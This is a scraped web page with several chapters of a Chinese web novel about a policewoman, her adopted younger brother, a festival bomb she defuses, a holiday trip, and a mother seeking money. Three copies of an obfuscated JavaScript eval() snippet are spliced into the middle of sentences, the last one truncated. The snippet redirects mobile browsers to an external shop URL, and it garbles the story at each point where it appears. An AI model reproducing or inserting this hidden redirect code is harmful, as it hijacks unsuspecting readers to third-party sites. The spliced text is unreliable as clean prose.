“别担心,我一直都在。”苏晏清笑道,“我就是你的ai,给你提供满满的情绪价值。” 赵新民在将桑学勤的所有赔偿金交给辛父辛母后,又从个人积蓄里拿出了两万块钱送给两位老人,“二老要是不嫌弃,就收我做个干儿子,以后家里的大事小情,吱一声,我马上过来。” 赵母看着赵新民终日闷闷不乐的样子,打心里心疼,“小民啊,日子还得往前过。”她想了想又按捺不住兴奋起来,“你最近不是和小武姑娘又联系上了吗?案子结束了,小武姑娘替学勤报了仇,你得感谢人家呀!请小武姑娘吃饭呀!” “哎呦妈呀,你怎么又提这个呀。我不是跟你说了吗?我和厉枭没戏。” “有戏没戏,不得处处吗?是,她有个弟,这也不受啥影响呀!我和你爸处对象的时候,你老舅就跟小武姑娘的弟弟差不多大。你爸和你舅处得跟亲哥俩似的。” “问题是我和厉枭三次见面她弟都在场。而且,妈,厉枭已经给她弟买车了,五十多万的丰田普拉多,这还不够说明问题吗?” “啥问题?你爸都打听过了,武老爷子说是孙女孝敬他的,说送他去体检啥的方便。” “我的母亲大人啊,你怎么还能信这个呢?”赵新民苦笑道,“你想啊,武家那门第,那大宅院,住进了个长得那么好看的大男孩,才几个月啊,就给买车了!说是养子,谁家收养已经成年的孩子呀,根本就上不了户口呀。你说能是啥关系?” “啥关系?” 赵新雪“噗嗤”一声笑了,“妈,我老弟是想说……那小奶狗搞不好就是武家给摄政王娶进门的童养姑爷!哈哈哈……” “呸呸呸!”赵母斥道,“死丫头片子胡说八道!现在这年头,哪有童养姑爷这么一说?” 赵父也皱眉道,“小雪,爸爸平时就跟你说,少看那些乱七八糟的短剧,没事多读读书,受受教育。你看爸爸,这几天跟着武老爷子学习家训,颇有心得。武家的慈悲大度,和睦敦亲,真是精神的瑰宝,道德的典范呀!所以,你说武家娶童养姑爷的事,爸爸坚决持否定意见。” “那爸你说说,你有什么高见?” 赵父难得有女儿请教他的时候,也得意不已地摇头晃脑道,“你们年轻人啊,看问题只能看到三尺远。我们上了岁数的人,才是带着战略眼光看事。武家那门第,武老爷子那为人,怎么可能随便收养一个孩子?我那天看到了武家货架上有几款眼生的点心,就问武老爷子:您是又研究出新品了?武老爷子说:我孙子晏清研究出来的。这孩子手可巧了,连枣花馍都会做。我又说:这孩子的父母呢?武老爷子说:早就不在人世了,是个孤儿,跟我儿媳妇娘家从小就认识,换句话说:从小在枭枭她外婆家长大的。后来我们找到了他,就收养了这孩子。这孩子啊,刚来的时候身子骨特别弱,现在好多了,能干活,聪明,肯吃苦……” 赵新雪没头没脑地听着,“这说明啥呀?” “说明那孩子在武家的身份,就是地位高一些的学徒而已!小民你想啊,他还给荣宝斋修压面机,研制新品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849736|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,给小武姑娘准备夜宵。武家又不是没仆人,如果真是姑爷的身份,何必做这些?武家是看在小武妈妈娘家那边的面子,给他口饭吃。加上他恰好会点做糕饼的手艺,武老爷子一高兴,认了个干孙子。武家那么老派的讲究人家,认了个干亲得给点见面礼,就送了辆车。” “那见面礼为啥送车呀?一辆丰田普拉多,五十多万呢!” “小民呀,你这孩子是不是读书读傻了?五十多万,在爸爸妈妈这样的工薪阶层,的确是个大数目。但在武家,不过是个小钱而已。你知道武家多有钱吗?就荣宝斋这三个字,就跟美国那可口可乐似的,就是专利,就是金字招牌。爸爸派老同事打听了,小武姑娘在市局是出了名的自费上班,工资全贴给队员了。为啥?家里条件好。小武姑娘就算不能拿公司的股份和分红,父母给她的零花钱就够多了。一辆五十万的丰田而已,在人家眼里,就跟小雪做个指甲似的。” “那也不行。”赵新民嘟嘟囔囔道,“厉枭对她弟那么好,我看着不舒服。如果以后我真跟她好上了,中间夹个她弟,这日子咋过。爸,妈,你们都不知道厉枭对她弟多肉麻,十九岁的大小伙子,比厉枭高出快两个头了,厉枭还宝宝长宝宝短地叫。” 赵母笑得一指赵新民的头,“这傻孩子,你也太不了解女孩子了。厉枭一个大姑娘家,没男朋友,不过就是拿她那弟弟当个洋娃娃似的解解闷。等你跟她成了,她自然一心扑在你身上了,就没空搭理她弟了。” 一番话说得赵新民心思又活跃起来,“真的?” “当然是真的了。”赵母摸了摸赵新民的头,“你想啊,那孩子是武家养子,武老爷子那么老派的人,那么要面子,他能允许在他眼皮子底下,发生那种姐弟不清不楚的事吗?你就算不信那孩子,也该信武老爷子。” 赵新民想了想,恍然大悟道,“对,妈,就是这么回事。武老爷子那么严肃正派的人,如果那孩子有非分之想,非把他撵出去不可。厉枭心眼那么好,不过就是可怜他而已。” “对对对!开窍啦开窍啦!”赵母欣慰道,“你别看那孩子表面上整天围着姐姐转,他不敢有啥想法的。好儿子,能给小武幸福了,只有你。” “那……我……要不要送个礼物给厉枭?” 赵新雪笑道,“要!今天是大年二十九,你上次不是说想把痔疮割下来送给厉枭吗?快去吧。” “呸呸呸!”赵母瞪了赵新雪一眼,“小雪你别捣乱!让我想想……送礼物……得体现出小民的优势……对了小民,你会做饭,前几天你炖的板栗红烧肉那么好吃,你炖一锅板栗红烧肉给厉枭送去,她一准高兴。还有,我们单位刚给老干部们一人发了一套羊绒毛毯,一只保温杯,我都没舍得用呢,也给小武姑娘送去。她在单位里喝水的时候,就能想起是你送的,就会喜欢你了。” 赵新民点点头,“那……我就炖肉,给厉枭送到荣宝斋去。” 30. 姐姐送的金笔 赵新民果然在中午时分抱着一大锅红烧肉走进荣宝斋,武月直去拜访老朋友了,柜台上是老黄夫妇带着员工们招待顾客,苏晏清穿着工作服招待着来拍照探店打卡的年轻人,在女孩们的簇拥中脸笑得红喷喷的,活像一朵舒展着彩色翅膀的穿花凤蝶。 “小哥哥,花多少钱能娶到你?” “嗯……我不看钱,只看真心……” “你喜欢什么样的女孩?” “善良忠厚,心怀大爱,英姿飒爽,正直无私……” “妈呀,这不是小学语文课文里常出现的词儿吗……” “新民哥,”苏晏清一看到赵新民就热情地凑了过去,“好久不见,最近好吗?”然后又拉着赵新民去了贵宾室。 赵新民不知什么原因,特别不喜欢苏晏清的笑容,看起来纯净光澈如皎月,却又含着猎豹般圈划领地的威压。 赵新民第一次进荣宝斋的贵宾室,不由得吓了一跳。只见堂前悬着乌木鎏金匾额,笔力沉敛,只书“清和”二字。入门便是两扇雕花梨木隔扇,透雕缠枝莲与蝙蝠纹,缝隙间嵌着薄如蝉翼的素纱,日光漫进来,落在地上铺的深青色织绒地毯上,连脚步声都被吞得绵软。正墙设一座三尺高的紫檀木多宝阁,错落摆着哥窑开片瓷瓶、汉白玉小兽、旧年端砚与几枝风干的佛手,香气清浅,不浓不烈。中央一张圆桌,黑檀木面,嵌着天然云石纹理,旁侧围了四把圈椅,椅面覆着月白暗纹锦垫,扶手磨得温润发亮,显是常有人坐。难怪老爸一提荣宝斋,一提武老爷子那么肃然起敬,果然是世家风范,高雅而清贵。 赵新民把自己炖的红烧肉和赵母让他送来的毛毯和保温杯,“厉枭平日里办案辛苦,我特意炖了肉给她补补。” 苏晏清笑着提起紫砂山水提梁壶,用白瓷若琛杯给他倒了一杯白毫银针,“哥,喝茶。” 赵新民喝了一口,也品不出什么味道,只得勉强笑道,“真是好茶。” “这是别人送给爷爷的,爷爷平时为了保持味蕾的敏感,从不喝茶。我跟爷爷学手艺,也不敢喝茶。哥,你喜欢喝的话,家里还有几罐,拿回去给叔叔阿姨品尝品尝。” 赵新民疑道,“武老爷子的茶,你能做主吗?” 苏晏清笑道,“爷爷很信任我,他总说,自己年纪大了,姐姐工作忙,家里的事让我多上心。以后家里缺什么少什么,什么东西坏了,人情往来,让我来打理。” 赵新民道,“你……你比厉枭还小几岁呢?武老爷子把这么大个内宅就交给你了?” “哥你不知道,我姐姐呀,平时像个小孩子似的,在家里连一根针都找不到。而且,爷爷也不舍得姐姐吃苦受累。爷爷总说,虽说传宗接代重要,但他老人家心目中最重要的是姐姐的健康和幸福。” “武老爷子……真这么说的……” “姐姐是爷爷的宝贝孙女,是我养父养母的独生女,身系千亿身家,是荣宝斋唯一的法定继承人。三位长辈是绝对舍不得姐姐低眉顺眼地做人家媳妇,迁就婆家一大家子人的脾气和习惯。” “可是,女大当嫁,厉枭……真的会一辈子不嫁人?” “姐姐就算一辈子不嫁人,依旧是武家的掌上明珠。就算爷爷和养父养母岁数大了,照顾不了他,也有我来照顾她。” “你?你不结婚吗?” 苏晏清摇摇头,“我的命是姐姐救的,我这辈子,只为姐姐而活。姐姐是我的神,我的信仰,我是姐姐最忠诚的卫士,我将用生命守护姐姐。” 赵新民放下红烧肉,提着茶叶离开了。赵母已经给他发了多少个六十秒方阵了:小民,提没提你高考数学140的事……小民,提没提你考编制时全市说课第一名的事……小民,提没提你会做油焖大虾的事…… 赵新民回复了几个字:妈,别让我自取其辱了。 赵新民前脚刚走,武厉枭就下班回来了。苏晏清忙把那盒板栗烧肉提到厨房,把羊绒毯和保温杯送到武月直的房间。待武厉枭停好车后方一脸笑意地迎了上来,“姐姐下班了,累不累?” “不累,宝宝,刚才家里来客人了,是吗?” “嗯,刚才新民哥来过,替赵伯伯来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849737|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 送点东西。” “送了什么?” “一盒红烧肉,一床羊绒毯,一只保温杯。我猜都是给爷爷的,但爷爷最近血脂有点高,我就把红烧肉送进厨房了,想着待会儿给工人们加餐。羊绒毯和保温杯我都送进爷爷房间里了。最近降温,爷爷夜里肯定用得着。” “宝宝真细心。”武厉枭把苏晏清拉进房间,“闭上眼睛。” 苏晏清乖乖闭上了,一脸的期待。 “睁开吧。” 眼前居然是一只18k金的派克钢笔!笔身上用隶书镌刻着他的名字:晏清。 “宝宝,你帮姐姐将辛子诚一家绳之以法,在网上拨乱反正,打赢了舆论战。姐姐一直想,该怎么祝贺你首战告捷,不能总是给你买奥特曼和变形金刚呀。你是成年人,是未来的大律师。姐姐就定制了这支钢笔送给你,希望它能帮你拿到律师资格证,打赢一场又一场官司。” 苏晏清的眼泪“唰”地一下落了下来,紧紧地抱住武厉枭,呜咽道,“姐姐……你终于……认为我是成年人了……” “姐姐当然知道你是成年人,你是我的宝宝,也是我可以信赖依靠的人。”武厉枭帮苏晏清擦干眼泪,“宝宝你怎么哭了?是不喜欢这支钢笔吗?” “不是,是想到了一句话……” “什么话?” “士为知己者死……” “傻宝宝,不许说死!你呀,只要每天开开心心的,姐姐就高兴。你知道吗?姐姐每晚下班回来,看到你屋子的灯亮着,看到你在窗前看书的影子,心里就特别特别踏实……我从前只想当英雄,当一辈子的英雄。那天和你一起去看了那场《芳心如醉》,坐在沙滩一般的观众席上喝汽水。看些演员零距离在我们身边唱歌跳舞,我突然想起来,你曾经给我发过微信,想去看看九寨沟。是啊,我也想看看九寨沟的水有多蓝,想看看安顺的黄果树瀑布,想看看黄龙的五彩池和钙化滩……想和你一起去……宝宝……就我们两个人……过几天没有血腥和杀戮,无忧无虑的日子……” “好,我陪你去……” 31. 西双版纳之旅 因为是除夕,荣宝斋老店也早早关门了,一家人围坐在一起写春联。武家的春联往年都是武月直亲笔书写,他老人家虽然年事已高,但还是非常喜欢人们簇拥着他,啧啧称赞,收笔时齐声喝彩叫好的感觉。如果这时有个老街旧邻的提着红纸来求字,那他更是笑得合不拢嘴,然后摇头晃脑地感叹道,“现在的年轻人啊……啥都靠买……可惜我这书法……没人愿意学……” 今年则不一样了,写春联的换成了苏晏清。当他刚写完“天增岁月人增寿”时,黄爷爷便笑道,“老掌柜,这字儿……颇得您真传啊……” 武月直笑着点头,“枭枭小时候啊,根本坐不住,让她学个毛笔字,写两下就跑到院子里打拳去了。也怪我,就这一个孙女,舍不得严管,就由着她去了。还好晏清心静,是个有耐性坐得住的。” 苏晏清写完后,将老宅内外的所有灯笼都一一挂好了。黄奶奶笑道,“晏清少爷个子高,挂灯笼不用踩梯子,一伸手就挂上去了。” 武月直一脸赞许地笑道,“个子高好,顶天立地。” 夜幕降临,武家往年的除夕饺子都比较传统,雷打不动的元宝饺,韭菜鸡蛋猪肉虾仁馅和香菇肉沫花生馅。今年因为有了苏晏清,饺子也丰富起来:青花瓷水饺、鸡蛋花水饺、水晶小花蒸饺、翡翠白菜饺。黄奶奶笑道:“我包了一辈子饺子,都不知道饺子原来可以这么丰富。” 守岁过了十二点,给长辈们鞠躬拜过年,领了压岁钱的苏晏清就回房间休息了。他刚洗过澡,武厉枭就敲了敲他的门,“宝宝,你睡觉了吗?” 苏晏清忙打开门,“没睡。” “没睡正好,我们去过新年第一天。” “嗯?不是刚守岁吗?” “哎呀,那是陪老年人的。现在,该是过我们年轻人自己的除夕了。走,今晚市中心那里有烟花秀。” 武厉枭驱车带着苏晏清来到市中心,果然,天上无人机和烟花交相辉映。苏晏清从未见过这样的烟花,如千万条七彩的瀑布般从天空中奔流而下。护城河边花灯灼灼,打铁花的,蹴水秋千的,表演魔术的,吞刀喷火的,撩地说相声的,捏面人的,卖糖画的……人仿佛误闯了《清明上河图》中,走了几公里也走不完,应接不暇的全是最美的人间烟火色。 武厉枭买了两串冰糖葫芦,和苏晏清一人一串,“宝宝,冰糖葫芦还是纯山楂的最好吃。” “嗯,姐姐,我刚才看到有匹马趴到了那边的白鲸大楼上,好像要逃跑似的。” “今年是马年啊!我们快吃完,待会儿去奢侈品店逛逛,我刚才看到了香奈儿、古奇和LV。” “啊?”苏晏清一愣,“姐姐,你打算买奢侈品吗?” “不是,我们就是去看看。” “可是,我怕我这个样子,店员会对我翻白眼。” “傻宝宝,你是武家的孩子,谁敢对你翻白眼!爸爸妈妈虽然从不用奢侈品,但我们又不是买不起!没事,跟着姐姐挺胸抬头大摇大摆地进去,咱们尽可以大方品评,试穿试背。男孩子要有配得感,相信自己,你绝对配得上奢侈品。” 武厉枭带着苏晏清逛了爱马仕、古驰、香奈儿、巴黎世家,最后只买了一盒迪士尼乐高积木。 苏晏清道,“姐姐,我回去给你拼个梦幻城堡。好不好?” “好。” 苏晏清看到了不远处一片火树银花,不觉兴奋起来,“姐姐,那边有打铁花的,我们去看看吧!” “不行不行,小孩子不可以接触危险的东西,铁花溅到脸上可不得了。” “姐姐,不会的……那边看起来好漂亮的……” “宝宝乖啊,姐姐带你买绞绞糖好不好?” 见苏晏清还是撅着嘴巴,武厉枭只好扭了扭他的脸,“好吧好吧!真拿你没办法!”她在旁边的面具摊上买了个孙悟空面具戴到苏晏清脸上,又买了个关公面具戴到自己脸上,“拉住姐姐的手,不许一个人乱跑哦。你呀,还跟小时候一样,就喜欢带光带亮的东西。” “小时候?” “对呀,你那个时候还不到一岁,那年过年,村里的小孩子都在放烟花,你也想出去看,又不会说,就拉着我的手指指着外面嗯嗯嗯地叫。我就抱你出去远远地看,怕你被烟花溅到。你看得目不转睛的,一个劲地拍着小手笑。后来,烟花放完了,那些孩子要回家了,你就哭。我没办法,掏出外婆给我的零花钱来递给那些孩子,让他们去小卖店再买些烟花来,在外婆家门口接着放,放给你看……等到第二年放烟花的时候,你就会说话了,你说:姐姐,烟花在雪里跳舞……” 二人刚挤进看铁花的人群,突然听到一个熟悉的声音,“枭枭。” 武厉枭回头一看,“哥!” 苏晏清忙摘下面具,“淮晋哥。” “宝宝快戴上面具,”武厉枭一脸凝重,“哥,什么任务?” “安保巡查。” 武厉枭掏出车钥匙交给苏晏清,“宝宝你先回家,姐姐要协助巡查。” “姐姐……” “快!这是命令!” “好,小心些。” 苏晏清走后,武厉枭拉过赵淮晋到暗处,“赵队,什么任务?” “枭枭,你还在休假。” “我是警察,有责任二十四小时待命。请给我一个反光背心、执法记录仪、对讲机和手铐。” “好吧……” 武厉枭环顾四周,发现不远处有一个商店的二楼窗子上,两个穿大褂说相声的正在表演传统段子《文武双全》。时不时地和观众互动一下,“宫廷玉液酒……” “一百八一杯。” “今天过节不收礼……” “收礼只收脑白金。” “挖掘机技术哪家强……” “中国山东找蓝翔。” 逗哏说:“完了完了,我难不住你们啦!现在我开始放大招啦啊!”他拿出一个财神爷毛绒玩偶,“这波财神接不接?” “接……” “这财运要不要?” “要……” 霎时间,一大堆财神爷玩偶从天而降,噼里啪啦如落雨一般,人群蜂拥而至,如潮水一般。不知谁又喊了一声,“有财神爷里有炸弹!” “啊……”尖叫声四起,人群像被狂风卷起的浪,瞬间挤成一团。叫喊声、推搡声、东西落地的磕碰声搅在一起,有人往前挤拱,有人被绊倒,场面乱作一团。 武厉枭和几名警察立刻冲上前,迅速排成一道人墙,厉声喊话:“往后退!不要挤!保持秩序撤离!” 警哨尖锐地刺破喧闹,他们手臂交错、肩并肩抵住涌动的人流,有人伸手扶起摔倒的人,有人用力分开拥挤的人群。手臂被拉扯、警服被抓皱,他们依旧死死守住防线,嗓音沙哑地一遍遍疏导,一点点将混乱的人群分开,勉强稳住现场。 “赵队,楼上那家商店有问题,我请求去看看。” “厉枭,我叫两个人跟你去。” 武厉枭带着两名警员快速来到二楼那家新开业的理发店,发现早已人去楼空,里面只有三张还装在箱子里的转椅,未曾安装的镜子,和烫发棒、洗发水、发剪等简单的理发工具…… 突然,一阵诡异的“滴、滴、滴……”的声音传来…… 武厉枭回到家时天都亮了,赵淮晋把在车上睡着的她抱进武家老宅。苏晏清赶紧把武厉枭接了过去,“哥,我姐怎么了?脸色这么差?” “枭枭昨晚协助执勤,在一个空理发店里,发现了炸弹……” “啊!”苏晏清的脸色瞬间惨白,“我姐受伤了吗?” “没有……”赵淮晋艰涩不已道,“当时只有几十秒的时间,通知排爆警察都来不及了。厉枭把那两个同事赶出去,用警用尖嘴钳自己剪断了电池线和引爆线……” 苏晏清几乎站不稳,勉强维持着心绪,深吸一口气,“万幸,我姐没事,炸弹没爆炸……” “是啊,枭枭救了昨晚庙会里的上万人,又是一个一等功。”赵淮晋拍了拍苏晏清的肩膀,“她昨晚累坏了,也吓坏了。你好好照顾她。” “哥,也辛苦你了。” “你知道枭枭把那两个同事赶出来时说了什么话吗?” “什么?” “告诉我弟,让他改姓武,帮我照顾爷爷和爸爸妈妈,继承家业,传宗接代。” 苏晏清把赵淮晋送出去后,眼泪滚滚而落。 他望着她疲惫而毫无血色的脸,心头巨痛。为什么自己不能留下来和她并肩作战,为什么自己只能做那个先回家的“宝宝”,为什么不是自己挡在前面,替她排除炸弹? 他握着武厉枭的手,在心里喃喃道,“姐姐,为什么?为什么我要比你小七岁?为什么我还不能保护你?像个男人似的保护你,照顾你……” 武厉枭一觉睡到下午才起来,苏晏清端着热牛奶进来,“姐姐,你醒了?喝杯牛奶。” 武厉枭却一头扑到他怀里,“宝宝,昨晚吓死我了。” “我知道,”苏晏清强忍着眼泪抱着她,抚摸着她的头发,“姐姐,你又救了那么多条人命……” “幸亏你昨晚先走了,要是你也在人潮里,被他们挤来挤去,被那颗炸弹伤到,我会疯掉……” “姐姐……”苏晏清潸然而下,“我……我现在真的好恨自己,没有当警察的资格……如果我也能去当警察,我可以抢在你前面,替你剪引爆线……” “宝宝不哭,”武厉枭帮他擦去眼泪,叹息道,“你听姐姐说,我第一次执行任务回来时,爷爷和爸爸妈妈也是这样,抱着我哭成一团,说武家三代单传,只有我一个独生女,万一我有个三长两短他们都不活了……后来……后来他们就麻木了,要是一遇到我执行任务就哭,他们都哭不过来了。”她捧起苏晏清的脸,握着他的手正色道,“姐姐现在说的这几句话,你一定要记住:当警察的家属,就要有颗大心脏,做好随时失去的准备。一旦姐姐殉职,这个家,就交给你了。你要改姓武,做爷爷的亲孙子,做爸爸妈妈亲儿子,继承家业,娶妻生子,多生几个孩子,让你的孩子们在爷爷和爸爸妈妈膝下承欢,让他们享受到天伦之乐,忘记失去女儿的痛苦,明白吗?” “姐姐……” “不许哭,坚强起来!”武厉枭严肃道,“把眼泪擦干!从今天起,你管爸爸妈妈也要叫爸爸妈妈,你要彻底把自己当武家人,答应姐姐,你一定要做到!” 苏晏清连忙擦干眼泪,郑重道,“姐姐,我答应你,一旦有那一天,我就改名叫武晏清,替你孝顺爷爷,照顾好爸爸妈妈。” “宝宝乖!姐姐没白疼你。”武厉枭这才微笑着摸了摸他的头。她拿起手机拨通了赵新民的电话,“哥,那个有炸弹的理发店立案没有?如果需要的话,我可以申请去你们分局协助办案。” “枭枭宝贝,哥求你好好休息一下好不好?你放心,这个案子我们会一查到底的。你可是刚从生死关下来的人。以后再有什么炸弹之类的,一定让哥来拆,不许再这么不管不顾的!” 武厉枭因为这次的重大立功表现,加上多年来没有休过年假,被特批休七天假。她兴致勃勃地翻看着旅游攻略,“宝宝,我们出去旅游吧?” “旅游?” “对,你从来没旅游过,姐姐带你去玩玩。嗯……现在是冬天,北方太冷,南方湿冷,我们可以选暖和的地方,比如:广州、三亚、西双版纳……对了,西双版纳是植物王国,动物王国,你们小孩子肯定喜欢。我们去西双版纳吧?好不好?” “好,”苏晏清笑咪咪地点头答应,“我陪你去西双版纳。” 武厉枭让王玉梅的助理开车送他们去机场,一路叮嘱苏晏清,“手机、充电器、充电宝、身份证都带好没有?记得跟姐姐手拉手走,不要一个人乱跑,上卫生间要跟姐姐说……” 二人上了飞机后,武厉枭脸色迥然一变,目光凌厉地扫视着四方,似乎随时要进入战斗状态。苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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武厉枭果然像她说的那样,打个转就回来了。局领导说:“远道而来吃我一顿饭可以,让你挨累,我可不想当整个公安系统的人民公敌。” 武厉枭笑着拒绝,“吃饭就不用了,我这次是带小朋友出来旅游的,既然没有需要我效劳的,我就回去带孩子了。” 武厉枭果然抱着个轮船回了酒店,“宝宝,我没买太大的,怕回去的路上不好拿。走,跟姐姐去吃酸汤肥牛火锅。” “火锅?姐姐,我不饿。” “哎呦,你还生气啊?”武厉枭搂着他肩膀哄道,“陪姐姐去,好不好?吃完饭,咱们去买衣服。” “买衣服?” “对呀,我们出去玩当然不能穿这身,要穿傣家服装。” 武厉枭给苏晏清买了一套锦缎短褂镶金绣羽,银饰缀边,配宽幅绣裤,腰束雕花银带,华贵利落。 她自己则戴着彩锦包头斜插羽簪,丝绦垂坠,银铃轻响,一身傣式孔雀蓝绣衣配暗纹竹筒裙,金银线织就纹样,周身银饰流光,尽显明艳大气。 “走吧!”武厉枭拉起苏晏清,“我的王子!” 二人来到野象谷森林公园,带着拍立得的傣族大姐道,“猫多哩,骚多哩,过来拍照呀!” 武厉枭笑着摇摇头,“不用了,谢谢。” “猫多哩这么好看,结婚了吗?在我们傣家,想娶到这么好看的猫多哩,得送上全套的银碗、银筷子、银腰带的。成婚后媳妇可舍不得他干活,每天在村子里打牌斗鸡就行。” “不用了,我弟弟连网游都不玩的。” 二人一路上携手吃过最纯净的象餐,看了瀑布旁的千雀齐飞,走过百鸟园和仙鹤、白鹭合影,在蝴蝶谷里看到了上千种姿态曼妙的蝴蝶……手机闪个不停,照片拍个不停,无忧无虑,不知疲倦。 “姐姐,听说湄公河游轮上会有红艺人表演。” 武厉枭眉头一拧,“湄公河,历史上就是毒品犯罪高发区。2011年,糯康犯罪集团在湄公河屠杀船员,劫持商船,相当猖獗。” 苏晏清哭笑不得道,“姐姐呀,正规旅游观光船备案严格,全程执法监控,游客都是实名制的,极少有走私和毒品交易的。” “好吧,”武厉枭点点头,“那你上船后要跟住姐姐,不要乱跑,去卫生间也要跟我说。” 黄昏时分,武厉枭带着苏晏清来到湄公河渡口,过了安检,登上表演厅,就立刻进入了警戒状态,眼风凌厉地如探照灯般地扫来扫去,似乎眼前全是可疑人,恨不得见到一个就抓过来盘问一番。一个抱着孩子的女子因怀中的孩子哭闹,武厉枭一个威严的眼神看过去,女子烦躁不已,边拿出糖果抱着孩子哄边回瞪武厉枭,好像在说:“关你什么事!” 苏晏清握住了武厉枭的手,“姐姐,你太紧张了。” 武厉枭压低声音,“我试试对方是不是人贩子。如果是人贩子,绝对不敢这么坦然。” 第二天一早,武厉枭带着苏晏清逛了热带雨林公园,基诺山寨,品尝了野生普洱茶和熏猪肉,参观了植物园,又去了电影院看电影——因为当天有经典爱情片《人鬼情未了》。 软融融的陶泥,柔靡的音乐,高颜值男女主动情的亲吻,让血气方刚的苏晏清心脏如小鹿乱撞一般,额头上也渗出了一层薄汗。武厉枭察觉出了他的异常,掏出刚买的绣兰丝绢手帕替他擦拭着脸上脖子上的汗水,“宝宝,怎么了?是不是太热了?”她拧开冰饮料的瓶子,喂到苏晏清嘴里,“慢点喝,是不是中暑了?” 苏晏清却羞涩不已地勉强喝了一口,“姐姐,我去下洗手间……”然后忙不迭地逃开。 他几乎是飞奔进洗手间,打开水龙头拼命地朝脸上泼着冷水,直到自己的头发和前襟悉数湿透才冷静下来。他对着镜子里面似火烧的自己狠狠扇了一个耳光,“苏晏清,你给我冷静下来……你会犯罪的……” 32. 苏母又来要钱了 荣宝斋如今的生意越来越火爆了。苏晏清做的各种高颜值国风糕点精准地挑起了年轻人的购买欲:百花绿豆水晶糕、桂花水晶月华糕、玫瑰杏仁软酪、茉莉抹茶麻薯……武月直接受了他的建议,在抖音和小红书上开通了荣宝斋官方账号,定期更新国风视频,分享国风点心的制作养生之道。不到一天,粉丝量突破了五十万。粉丝们不光喜欢他的国风点心,还有他身上禾锦图腾的国风服装。每天荣宝斋老店门口拍照打卡的人围了个里三层外三层,活像粉丝见面会。 苏晏清跟武厉枭商量,“姐姐,我以后每个周六周日晚上都直播吧,涨粉能更快一些。” “不要不要,宝宝,你曝光率越高我越担心,你忘了上次你妈妈来要钱的事了?” “姐姐你放心,她不会再来了。” 上周五下午放学时,武厉枭没有来接苏晏清。当他开着那辆丰田普拉多途径学校正门口时,两个鬼鬼祟祟的身影突然直扑过来,吓得他连忙踩刹车,下车一看,原来是他的生母和同母异父的弟弟。 “妈,你怎么样?要不要去医院?” “不要不要,”苏母拉着小儿子推到苏晏清面前,“清宝,这是你弟弟。来,小捷,叫哥哥。” “哥哥,”小捷叫了一声,怯生生地躲到了母亲身后,眼睛却一直往那辆丰田普拉多上面瞟。苏母捏了捏苏晏清身上的天丝烫金灵蛇云纹外套,“听说你发了大财?” “你们还没吃饭吧?走,我带你们去吃饭。” 苏晏清把他们母子二人带到学校附近一家人不是很多的东北饭馆,找了一个包间,点了一份锅包肉,一份酱肘子,一份炖鲤鱼,一份地三鲜,一份酸菜汆白肉,望着这狼吞虎咽的母子二人,给他们一人倒了一杯茉莉花茶,“不够还有。”又吩咐服务员道,“再准备一份炖排骨,一份土鸡榛蘑,一份鲇鱼烧茄子,五斤猪肉大葱馅的冰鲜水饺,用冰袋装好,一起打包。” 苏母微笑道,“儿子,你如今真是出息了,出手真是大方。” “妈,这是学校发给我的贫困生生活补贴,我今天孝敬你这一顿,下半个月得天天吃方便面了。” “怎么会呢?”苏母不可置信地摇摇头,“你这衣服,这车,这手表……如今你在网上红得不得了……” “车是爷爷的,手表和衣服……都是人家借给我的……” “你不用骗我。我前几天在荣宝斋老店,明明听见那些员工管你叫少爷。” “他们是看在爷爷和姐姐的面子上,勉强叫一声。我一个孤儿,算哪门子少爷?” “唉,”苏母戳了戳碗里的饭,叹气道,“晏清,我知道你怨恨我……妈那个时候……真的没能力抚养你……妈那个时候,自己也没多大,被虐待了那么多年,你姥姥姥爷身体又不好,家里房子都卖了……” “我理解,我没怨恨你。我要是真怨恨你,就不会管你叫妈。” “儿子……”苏母握住了他的手,“你能不能再帮帮妈妈,你弟弟上山大附中,需要交择校费……” “据我所知,只要分数过了山大附中录取线,可以不交择校费的。我当时就没有交学费,是靠奖学金读完了高中。如果小捷有需要的话,我可以帮他补习。” “你弟弟……他读书不能跟你比……妈这辈子命苦……找了两个男人,都不是人……我一个知识分子家的女儿,活活熬成了社会底层……”苏母滴下泪来,“我一个人,又要工作,又要做家务,又要带孩子。你弟弟的学习没人管,成绩不好……” “我也没人管学习,要想成绩好,靠的不是别人管,靠的是自觉。” “他跟你不一样,福利院里有厨师做饭,有生活老师照顾……” 苏晏清冷冷一笑,“妈,这么说,福利院里长大的孩子,倒比在母亲身边长大的更幸福了?也是啊,我在孤儿院待了十四年,你一次都没来看过我,你怎么会知道孤儿院的孩子过得怎么样呢?那十四年里,除了武家会来给我送钱送东西,只有姐姐一个人来看过我。” “没有没有,”苏母慌忙道,“妈就是感叹,枭枭那孩子,从小就疼你。如今把你带回武家老宅,吃的穿的都这么体面。妈做梦都没想到,如今我儿子能开上这么贵的车,过着富二代的生活。” 